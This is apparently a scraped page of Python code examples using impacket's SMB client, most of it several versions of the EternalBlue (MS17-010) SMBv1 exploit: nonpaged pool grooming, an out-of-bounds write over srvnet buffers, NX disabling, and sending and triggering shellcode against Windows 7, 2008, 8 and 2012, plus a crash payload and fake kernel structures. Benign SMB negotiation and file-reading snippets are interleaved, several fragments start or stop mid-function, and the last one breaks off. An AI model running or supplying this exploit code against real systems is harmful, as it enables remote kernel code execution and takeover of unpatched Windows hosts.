Exemple #1
0
def exploit(target, shellcode, numGroomConn):
    result = ''
    # force using smb.SMB for SMB1
    conn = smb.SMB(target, target)
    
    # can use conn.login() for ntlmv2
    conn.login_standard('', '')
    server_os = conn.get_server_os()
    logger.log.debug('Target OS: '+server_os)
    if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
        logger.log.debug('This exploit does not support this target')
        #sys.exit()
        return result
    

    tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
    
    # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
    # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
    progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
    # we have to know what size of NtFeaList will be created when last fragment is sent

    # make sure server recv all payload before starting allocate big NonPaged
    #sendEcho(conn, tid, 'a'*12)

    # create buffer size NTFEA_SIZE-0x1000 at server
    # this buffer MUST NOT be big enough for overflown buffer
    allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
    
    # groom nonpaged pool
    # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
    srvnetConn = []
    for i in range(numGroomConn):
        sk = createConnectionWithBigSMBFirst80(target)
        srvnetConn.append(sk)

    # create buffer size NTFEA_SIZE at server
    # this buffer will be replaced by overflown buffer
    holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
    # disconnect allocConn to free buffer
    # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
    allocConn.get_socket().close()

    # hope one of srvnetConn is next to holeConn
    for i in range(5):
        sk = createConnectionWithBigSMBFirst80(target)
        srvnetConn.append(sk)
        
    # send echo again, all new 5 srvnet buffers should be created
    #sendEcho(conn, tid, 'a'*12)
    
    # remove holeConn to create hole for fea buffer
    holeConn.get_socket().close()

    # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
    send_trans2_second(conn, tid, feaList[progress:], progress)
    recvPkt = conn.recvSMB()
    retStatus = recvPkt.getNTStatus()
    # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
    if retStatus == 0xc000000d:
        logger.log.debug('good response status: INVALID_PARAMETER')
    else:
        logger.log.debug('bad response status: 0x{:08x}'.format(retStatus))
        
    try:
        # one of srvnetConn struct header should be modified
        # a corrupted buffer will write recv data in designed memory address
        for sk in srvnetConn:
            sk.send(fake_recv_struct + shellcode)
        
        # execute shellcode by closing srvnet connection
        for sk in srvnetConn:
            sk.close()
        result = target
    except Exception as e:
        #doorSocket.close()
        logger.log.debug(str(e))   
    # nicely close connection (no need for exploit)
    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
    return result
Exemple #2
0
 def open(self, host, port):
     self.smb = smb.SMB("*SMBSERVER", host, port)
Exemple #3
0
def exploit(target, shellcode, numGroomConn):
    # force using smb.SMB for SMB1
    conn = smb.SMB(target, target)

    # can use conn.login() for ntlmv2
    conn.login_standard('', '')
    server_os = conn.get_server_os()
    print('Target OS: ' + server_os)
    if not (server_os.startswith("Windows 7 ")
            or server_os.startswith("Windows Server 2008 ")):
        print('This exploit does not support this target')
        sys.exit()

    tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')

    # Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/)
    # - SrvSmbNtTransaction() (smbtrans.c#L2677)
    #   - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113)
    # - ExecuteTransaction() (smbtrans.c#L82)
    #   - Call dispatch table (smbtrans.c#L347)
    #   - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function)
    # - SrvSmbOpen2() (smbopen.c#L1002)
    #   - call SrvOs2FeaListToNt() (smbopen.c#L1095)

    # https://msdn.microsoft.com/en-us/library/ee441720.aspx
    # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
    # Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT
    # Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT
    progress = send_nt_trans(conn, tid, 0, feaList, '\x00' * 30, 2000, False)
    # we have to know what size of NtFeaList will be created when last fragment is sent

    # make sure server recv all payload before starting allocate big NonPaged
    #sendEcho(conn, tid, 'a'*12)

    # create buffer size NTFEA_SIZE-0x1000 at server
    # this buffer MUST NOT be big enough for overflown buffer
    allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)

    # groom nonpaged pool
    # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
    srvnetConn = []
    for i in range(numGroomConn):
        sk = createConnectionWithBigSMBFirst80(target)
        srvnetConn.append(sk)

    # create buffer size NTFEA_SIZE at server
    # this buffer will be replaced by overflown buffer
    holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
    # disconnect allocConn to free buffer
    # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
    allocConn.get_socket().close()

    # hope one of srvnetConn is next to holeConn
    for i in range(5):
        sk = createConnectionWithBigSMBFirst80(target)
        srvnetConn.append(sk)

    # send echo again, all new 5 srvnet buffers should be created
    #sendEcho(conn, tid, 'a'*12)

    # remove holeConn to create hole for fea buffer
    holeConn.get_socket().close()

    # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
    send_trans2_second(conn, tid, feaList[progress:], progress)
    recvPkt = conn.recvSMB()
    retStatus = recvPkt.getNTStatus()
    # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
    if retStatus == 0xc000000d:
        print('good response status: INVALID_PARAMETER')
    else:
        print('bad response status: 0x{:08x}'.format(retStatus))

    # one of srvnetConn struct header should be modified
    # a corrupted buffer will write recv data in designed memory address
    for sk in srvnetConn:
        sk.send(fake_recv_struct + shellcode)

    # execute shellcode by closing srvnet connection
    for sk in srvnetConn:
        sk.close()

    # nicely close connection (no need for exploit)
    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
    def negotiateSession(
            self,
            preferredDialect=None,
            flags1=smb.SMB.FLAGS1_PATHCASELESS
        | smb.SMB.FLAGS1_CANONICALIZED_PATHS,
            flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS
        | smb.SMB.FLAGS2_LONG_NAMES,
            negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'):
        """
        Perform protocol negotiation

        :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used
        :param string flags1: the SMB FLAGS capabilities
        :param string flags2: the SMB FLAGS2 capabilities
        :param string negoData: data to be sent as part of the nego handshake

        :return: True, raises a Session Error if error.
        """

        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old
        # applications still believing
        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i
        # *SMBSERVER's limitations
        if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER':
            self._remoteName = self._remoteHost
        elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER':
            # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best
            nb = nmb.NetBIOS()
            try:
                res = nb.getnetbiosname(self._remoteHost)
            except:
                pass
            else:
                self._remoteName = res

        hostType = nmb.TYPE_SERVER
        if preferredDialect is None:
            # If no preferredDialect sent, we try the highest available one.
            packet = self._negotiateSession(self._myName,
                                            self._remoteName,
                                            self._remoteHost,
                                            self._sess_port,
                                            self._timeout,
                                            True,
                                            flags1=flags1,
                                            flags2=flags2,
                                            data=negoData)
            if packet[0] == '\xfe':
                # Answer is SMB2 packet
                self._SMBConnection = smb3.SMB3(
                    self._remoteName,
                    self._remoteHost,
                    self._myName,
                    hostType,
                    self._sess_port,
                    self._timeout,
                    session=self._nmbSession,
                    negSessionResponse=SMB2Packet(packet))
            else:
                # Answer is SMB packet, sticking to SMBv1
                self._SMBConnection = smb.SMB(self._remoteName,
                                              self._remoteHost,
                                              self._myName,
                                              hostType,
                                              self._sess_port,
                                              self._timeout,
                                              session=self._nmbSession,
                                              negPacket=packet)
        else:
            if preferredDialect == smb.SMB_DIALECT:
                self._SMBConnection = smb.SMB(self._remoteName,
                                              self._remoteHost, self._myName,
                                              hostType, self._sess_port,
                                              self._timeout)
            elif preferredDialect in [
                    SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30
            ]:
                self._SMBConnection = smb3.SMB3(
                    self._remoteName,
                    self._remoteHost,
                    self._myName,
                    hostType,
                    self._sess_port,
                    self._timeout,
                    preferredDialect=preferredDialect)
            else:
                LOG.critical("Unknown dialect %s", preferredDialect)
                raise

        # propagate flags to the smb sub-object
        # does not affect smb3 objects
        if isinstance(self._SMBConnection, smb.SMB):
            self._SMBConnection.set_flags(flags1=flags1, flags2=flags2)

        return True
Exemple #5
0
def exploit(target, shellcode, numGroomConn):
    # force using smb.SMB for SMB1
    conn = smb.SMB(target, target)

    # can use conn.login() for ntlmv2
    conn.login_standard('', '')
    server_os = conn.get_server_os()
    print('Target OS: ' + server_os)
    if not (server_os.startswith("Windows 8")
            or server_os.startswith("Windows Server 2012 ")):
        print('This exploit does not support this target')
        sys.exit()

    tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')

    # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
    progress = send_nt_trans(conn, tid, 0, feaList, '\x00' * 30,
                             len(feaList) % 4096, False)

    # Another NT transaction for disabling NX
    nxconn = smb.SMB(target, target)
    nxconn.login_standard('', '')
    nxtid = nxconn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
    nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00' * 30,
                               len(feaList) % 4096, False)

    # create some big buffer at server
    # this buffer MUST NOT be big enough for overflown buffer
    allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)

    # groom nonpaged pool
    # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
    srvnetConn = []
    for i in range(numGroomConn):
        sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
        srvnetConn.append(sk)

    # create buffer size NTFEA_SIZE at server
    # this buffer will be replaced by overflown buffer
    holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
    # disconnect allocConn to free buffer
    # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
    allocConn.get_socket().close()

    # hope one of srvnetConn is next to holeConn
    for i in range(5):
        sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
        srvnetConn.append(sk)

    # remove holeConn to create hole for fea buffer
    holeConn.get_socket().close()

    # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
    # first trigger to overwrite srvnet buffer struct for disabling NX
    send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
    recvPkt = nxconn.recvSMB()
    retStatus = recvPkt.getNTStatus()
    if retStatus == 0xc000000d:
        print('good response status for nx: INVALID_PARAMETER')
    else:
        print('bad response status for nx: 0x{:08x}'.format(retStatus))

    # one of srvnetConn struct header should be modified
    # send '\x00' to disable nx
    for sk in srvnetConn:
        sk.send('\x00')

    # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
    # second trigger to place fake struct and shellcode
    send_trans2_second(conn, tid, feaList[progress:], progress)
    recvPkt = conn.recvSMB()
    retStatus = recvPkt.getNTStatus()
    if retStatus == 0xc000000d:
        print('good response status: INVALID_PARAMETER')
    else:
        print('bad response status: 0x{:08x}'.format(retStatus))

    # one of srvnetConn struct header should be modified
    # a corrupted buffer will write recv data in designed memory address
    for sk in srvnetConn:
        sk.send(fake_recv_struct + shellcode)

    # execute shellcode
    for sk in srvnetConn:
        sk.close()

    # nicely close connection (no need for exploit)
    nxconn.disconnect_tree(tid)
    nxconn.logoff()
    nxconn.get_socket().close()
    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
    def __init__(self,
                 remoteName='',
                 remoteHost='',
                 myName=None,
                 sess_port=445,
                 timeout=60,
                 preferredDialect=None,
                 existingConnection=None):

        self._SMBConnection = 0
        self._dialect = ''
        self._nmbSession = 0
        hostType = nmb.TYPE_SERVER

        if existingConnection is not None:
            # Existing Connection must be a smb or smb3 instance
            assert (isinstance(existingConnection, smb.SMB)
                    or isinstance(existingConnection, smb3.SMB3))
            self._SMBConnection = existingConnection
            return

        ##preferredDialect = smb.SMB_DIALECT
        if preferredDialect is None:
            # If no preferredDialect sent, we try the highest available one.
            packet = self._negotiateSession(myName, remoteName, remoteHost,
                                            sess_port, timeout)
            if packet[0] == '\xfe':
                # Answer is SMB2 packet
                self._SMBConnection = smb3.SMB3(remoteName,
                                                remoteHost,
                                                myName,
                                                hostType,
                                                sess_port,
                                                timeout,
                                                session=self._nmbSession)
            else:
                # Answer is SMB packet, sticking to SMBv1
                self._SMBConnection = smb.SMB(remoteName,
                                              remoteHost,
                                              myName,
                                              hostType,
                                              sess_port,
                                              timeout,
                                              session=self._nmbSession,
                                              negPacket=packet)
        else:
            if preferredDialect == smb.SMB_DIALECT:
                self._SMBConnection = smb.SMB(remoteName, remoteHost, myName,
                                              hostType, sess_port, timeout)
            elif preferredDialect in [
                    SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30
            ]:
                self._SMBConnection = smb3.SMB3(
                    remoteName,
                    remoteHost,
                    myName,
                    hostType,
                    sess_port,
                    timeout,
                    preferredDialect=preferredDialect)
            else:
                print "Unknown dialect ", preferredDialect
                raise
Exemple #7
0
    def negotiateSession(
            self,
            preferredDialect=None,
            flags1=smb.SMB.FLAGS1_PATHCASELESS
        | smb.SMB.FLAGS1_CANONICALIZED_PATHS,
            flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS
        | smb.SMB.FLAGS2_LONG_NAMES,
            negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'):
        """
        Perform protocol negotiation

        :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used
        :param string flags1: the SMB FLAGS capabilities
        :param string flags2: the SMB FLAGS2 capabilities
        :param string negoData: data to be sent as part of the nego handshake

        :return: True, raises a Session Error if error.
        """
        hostType = nmb.TYPE_SERVER
        if preferredDialect is None:
            # If no preferredDialect sent, we try the highest available one.
            packet = self._negotiateSession(self._myName,
                                            self._remoteName,
                                            self._remoteHost,
                                            self._sess_port,
                                            self._timeout,
                                            True,
                                            flags1=flags1,
                                            flags2=flags2,
                                            data=negoData)
            if packet[0] == '\xfe':
                # Answer is SMB2 packet
                self._SMBConnection = smb3.SMB3(self._remoteName,
                                                self._remoteHost,
                                                self._myName,
                                                hostType,
                                                self._sess_port,
                                                self._timeout,
                                                session=self._nmbSession)
            else:
                # Answer is SMB packet, sticking to SMBv1
                self._SMBConnection = smb.SMB(self._remoteName,
                                              self._remoteHost,
                                              self._myName,
                                              hostType,
                                              self._sess_port,
                                              self._timeout,
                                              session=self._nmbSession,
                                              negPacket=packet)
        else:
            if preferredDialect == smb.SMB_DIALECT:
                self._SMBConnection = smb.SMB(self._remoteName,
                                              self._remoteHost, self._myName,
                                              hostType, self._sess_port,
                                              self._timeout)
            elif preferredDialect in [
                    SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30
            ]:
                self._SMBConnection = smb3.SMB3(
                    self._remoteName,
                    self._remoteHost,
                    self._myName,
                    hostType,
                    self._sess_port,
                    self._timeout,
                    preferredDialect=preferredDialect)
            else:
                LOG.critical("Unknown dialect ", preferredDialect)
                raise

        # propagate flags to the smb sub-object
        # does not affect smb3 objects
        if isinstance(self._SMBConnection, smb.SMB):
            self._SMBConnection.set_flags(flags1=flags1, flags2=flags2)

        return True
Exemple #8
0
def exploit(target):
    conn = smb.SMB(target, target)
    conn.login_standard('pesante', '1234')

    tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'test')
    list_path(conn, tid, 'test')
Exemple #9
0
 def connect_transferClient(self):
     self.transferClient = smb.SMB('*SMBSERVER',
                                   self.server.get_remote_host(),
                                   sess_port=self.port)
     user, passwd, domain, lm, nt = self.credentials
     self.transferClient.login(user, passwd, domain, lm, nt)
Exemple #10
0
	transCommand['Data']['Trans_Data'] = data[:firstDataCnt]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	
	i = firstDataCnt
	while i < len(data):
		sendSize = min(4096, len(data) - i)
		send_trans2_second(tid, data[i:i+sendSize], i)
		i += sendSize
	
	conn.recvSMB()
	

# force using smb.SMB for SMB1
conn = smb.SMB(TARGET, TARGET)

# can use conn.login() for ntlmv2
conn.login_standard('', '')

tid = conn.tree_connect_andx('\\\\'+TARGET+'\\'+'IPC$')

# OOB write ~0x8c00 for BSOD
payload = pack('<I', 0x10000)
payload += pack('<BBH', 0, 0, 0xc003)
payload += 'A'*0xc004
payload += pack('<BBH', 0, 0, 0xcc00)
payload = payload.ljust(0x10000+976, 'B')

send_nt_trans(tid, 0, payload, '\x00'*30, 976)
Exemple #11
0
 def setup_smb_server(self):
     if not self.__smb_server:
         self.__smb_server = smb.SMB('*SMBSERVER',self.get_dip(), sess_port = self.get_dport())
logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)


def print_filecontent(data):
    log.info(data)


if __name__ == '__main__':
    remote_name = "HELLOOOOOOOOOOO"  # random string
    remote_host = "192.168.206.114"

    username = '******'
    password = '******'

    pth = r"C:\Windows\system32\winrm.cmd"

    log.info('%s/445 - establish a smb connection', remote_host)
    smbclient = smb.SMB(remote_name, remote_host)

    log.info('%s/445 - smb login: %s / %s', remote_host, username, password)
    smbclient.login(username, password)

    drive, filename = pth.split(':')
    service = '%s$' % drive

    log.info('%s/445 - read remote file: %s', remote_host, pth)
    smbclient.retr_file(service, filename, print_filecontent)

## References
# https://github.com/CoreSecurity/impacket/blob/master/impacket/smb.py#L3866
Exemple #13
0
from impacket import smb

if len(sys.argv) < 4:
	print "Use: %s <host> <share> <file> [user] [password]" % sys.argv[0]
	sys.exit(1)

host = sys.argv[1]
shre = sys.argv[2]
file = sys.argv[3]
user = ''
passwd = ''
try:
	user = sys.argv[4]
	passwd = sys.argv[5]
except:
	pass

s = smb.SMB('*SMBSERVER',host)
s.login(user, passwd)
tid = s.tree_connect_andx(r"\\*SMBSERVER\%s" % shre)
fid = s.open_file(tid, file, smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
offset = 0
while 1:
	data = s.read_andx(tid, fid, offset, 40000)
	sys.stdout.write(data)
	if len(data) == 0: break
	offset += len(data)

s.close_file(tid, fid)

Exemple #14
0
def get_hostname(ip):
    smbs = smb.SMB("*SMBSERVER", ip)
    return smbs.get_server_name()
Exemple #15
0
def createSessionAllocNonPaged(target, size):
    # There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
    # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
    # The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"

    # Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data.
    # For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
    # - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
    #   - GetNtSecurityParameters() function is resposible for extracting data from this packet format
    # - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
    #   - GetExtendSecurityParameters() function is resposible for extracting data from this packet format

    # These 2 formats have different WordCount (first one is 13 and later is 12).
    # Here is logic in BlockingSessionSetupAndX() related to this bug
    # - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
    # - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
    # - else, process a message as NT Security request

    # So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
    # With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
    # But GetExtendSecurityParameters() checks ByteCount value again.

    # So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.

    conn = smb.SMB(target, target)
    _, flags2 = conn.get_flags()
    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters'][
        'MaxBufferSize'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters'][
        'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
    sessionSetup['Parameters'][
        'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

    sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('[+] SMB1 session setup nonpaged pool allocation succeeded!')

    else:
        print('[-] SMB1 session setup allocate nonpaged pool failed.')

    return conn
def _exploit(target, port, feaList, shellcode, numGroomConn, username,
             password):
    # force using smb.SMB for SMB1
    conn = smb.SMB(target, target, sess_port=port)
    conn.login(username, password)
    server_os = conn.get_server_os()
    module.log('Target OS: ' + server_os)
    if server_os.startswith("Windows 10 "):
        build = int(server_os.split()[-1])
        if build >= 14393:  # version 1607
            module.log(
                'This exploit does not support this build: {} >= 14393'.format(
                    build), 'error')
            sys.exit(1)
    elif not (server_os.startswith("Windows 8")
              or server_os.startswith("Windows Server 2012 ")):
        module.log(
            'This exploit does not support this target: {}'.format(server_os),
            'error')
        sys.exit(1)

    tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')

    # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
    # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
    progress = send_big_trans2(conn, tid, 0, feaList, '\x00' * 30,
                               len(feaList) % 4096, False)

    # Another TRANS2_OPEN2 (0) with special feaList for disabling NX
    nxconn = smb.SMB(target, target, sess_port=port)
    nxconn.login(username, password)
    nxtid = nxconn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
    nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00' * 30,
                                 len(feaList) % 4096, False)

    # create some big buffer at server
    # this buffer MUST NOT be big enough for overflown buffer
    allocConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE - 0x2010,
                                           username, password)

    # groom nonpaged pool
    # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
    srvnetConn = []
    for i in range(numGroomConn):
        sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
        srvnetConn.append(sk)

    # create buffer size NTFEA_SIZE at server
    # this buffer will be replaced by overflown buffer
    holeConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE - 0x10,
                                          username, password)
    # disconnect allocConn to free buffer
    # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
    allocConn.get_socket().close()

    # hope one of srvnetConn is next to holeConn
    for i in range(5):
        sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
        srvnetConn.append(sk)

    # remove holeConn to create hole for fea buffer
    holeConn.get_socket().close()

    # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
    # first trigger, overwrite srvnet buffer struct for disabling NX
    send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
    recvPkt = nxconn.recvSMB()
    retStatus = recvPkt.getNTStatus()
    if retStatus == 0xc000000d:
        module.log('good response status for nx: INVALID_PARAMETER')
    else:
        module.log('bad response status for nx: 0x{:08x}'.format(retStatus),
                   'error')

    # one of srvnetConn struct header should be modified
    # send '\x00' to disable nx
    for sk in srvnetConn:
        sk.send('\x00')

    # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
    # second trigger, place fake struct and shellcode
    send_trans2_second(conn, tid, feaList[progress:], progress)
    recvPkt = conn.recvSMB()
    retStatus = recvPkt.getNTStatus()
    if retStatus == 0xc000000d:
        module.log('good response status: INVALID_PARAMETER')
    else:
        module.log('bad response status: 0x{:08x}'.format(retStatus), 'error')

    # one of srvnetConn struct header should be modified
    # a corrupted buffer will write recv data in designed memory address
    for sk in srvnetConn:
        sk.send(fake_recv_struct + shellcode)

    # execute shellcode
    for sk in srvnetConn:
        sk.close()

    # nicely close connection (no need for exploit)
    nxconn.disconnect_tree(tid)
    nxconn.logoff()
    nxconn.get_socket().close()
    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
def exploit(target, **kwargs):
    shell_code = kwargs.get("shell_code", "whoami")
    num_groom_connection = kwargs.get("num_groom_connection", 2)

    unacceptable_target_servers = [
        'Windows 7 ', 'Windows Server ', ' 2008 ', 'Windows Vista'
    ]

    ntfea_size = 0x11000
    ntfea10000 = struct.pack('<BBH', 0, 0, 0xffdd) + 'A' * 0xffde
    ntfea11000 = (struct.pack('<BBH', 0, 0, 0) + '\x00') * 600
    ntfea11000 += struct.pack('<BHH', 0, 0, 0xf3bd) + 'A' * 0xf3be
    ntfea1f000 = (struct.pack('<BBH', 0, 0, 0) + '\x00') * 0x2494
    ntfea1f000 += struct.pack('<BBH', 0, 0, 0x48ed) + 'A' * 0x48ee
    ntfea = {0x10000: ntfea10000, 0x11000: ntfea11000}

    target_hal_heap_x64_addr = 0xffffffffffd00010
    target_hal_heap_x86_addr = 0xffdff000

    fake_srv_net_buffer = struct.pack('<II', 0x11000, 0) * 2
    fake_srv_net_buffer += struct.pack('<HHI', 0xffff, 0, 0) * 2
    fake_srv_net_buffer += '\x00' * 16
    fake_srv_net_buffer += struct.pack('<IIII',
                                       target_hal_heap_x86_addr + 0x100, 0, 0,
                                       target_hal_heap_x86_addr + 0x20)
    fake_srv_net_buffer += struct.pack('<IIHHI',
                                       target_hal_heap_x86_addr + 0x100, 0,
                                       0x60, 0x1004, 0)
    fake_srv_net_buffer += struct.pack('<IIQ', target_hal_heap_x86_addr - 0x80,
                                       0, target_hal_heap_x64_addr)
    fake_srv_net_buffer += struct.pack('<QQ', target_hal_heap_x64_addr + 0x100,
                                       0)
    fake_srv_net_buffer += struct.pack('<QHHI', 0, 0x60, 0x1004, 0)
    fake_srv_net_buffer += struct.pack('<QQ', 0,
                                       target_hal_heap_x64_addr - 0x80)
    fake_srv_net_buffer_x64 = struct.pack('<II', 0x11000, 0) * 2
    fake_srv_net_buffer_x64 += struct.pack('<HHIQ', 0xffff, 0, 0, 0)
    fake_srv_net_buffer_x64 += '\x00' * 16
    fake_srv_net_buffer_x64 += '\x00' * 16
    fake_srv_net_buffer_x64 += '\x00' * 16
    fake_srv_net_buffer_x64 += struct.pack('<IIQ', 0, 0,
                                           target_hal_heap_x64_addr)
    fake_srv_net_buffer_x64 += struct.pack('<QQ',
                                           target_hal_heap_x64_addr + 0x100, 0)
    fake_srv_net_buffer_x64 += struct.pack('<QHHI', 0, 0x60, 0x1004, 0)
    fake_srv_net_buffer_x64 += struct.pack('<QQ', 0,
                                           target_hal_heap_x64_addr - 0x80)
    current_fake_srv_net_buffer = fake_srv_net_buffer

    fea_list = struct.pack('<I', 0x10000)
    fea_list += ntfea[ntfea_size]
    fea_list += struct.pack(
        '<BHH', 0, 0,
        len(current_fake_srv_net_buffer) - 1) + current_fake_srv_net_buffer
    fea_list += struct.pack('<BHH', 0x12, 0x34, 0x5678)

    fake_recv_struct = struct.pack('<QII', 0, 3, 0)
    fake_recv_struct += '\x00' * 16
    fake_recv_struct += struct.pack('<QII', 0, 3, 0)
    fake_recv_struct += ('\x00' * 16) * 7
    fake_recv_struct += struct.pack('<QQ', target_hal_heap_x64_addr + 0xa0,
                                    target_hal_heap_x64_addr + 0xa0)
    fake_recv_struct += '\x00' * 16
    fake_recv_struct += struct.pack('<IIQ', target_hal_heap_x86_addr + 0xc0,
                                    target_hal_heap_x86_addr + 0xc0, 0)
    fake_recv_struct += ('\x00' * 16) * 11
    fake_recv_struct += struct.pack('<QII', 0, 0,
                                    target_hal_heap_x86_addr + 0x190)
    fake_recv_struct += struct.pack('<IIQ', 0,
                                    target_hal_heap_x86_addr + 0x1f0 - 1, 0)
    fake_recv_struct += ('\x00' * 16) * 3
    fake_recv_struct += struct.pack('<QQ', 0, target_hal_heap_x64_addr + 0x1e0)
    fake_recv_struct += struct.pack('<QQ', 0,
                                    target_hal_heap_x64_addr + 0x1f0 - 1)

    def get_nt_status(self):
        return (self['ErrorCode'] << 16) | (
            self['_reserved'] << 8) | self['ErrorClass']

    setattr(smb.NewSMBPacket, "getNTStatus", get_nt_status)

    def send_echo_request(connection, tid, data):
        packet = smb.NewSMBPacket()
        packet['Tid'] = tid

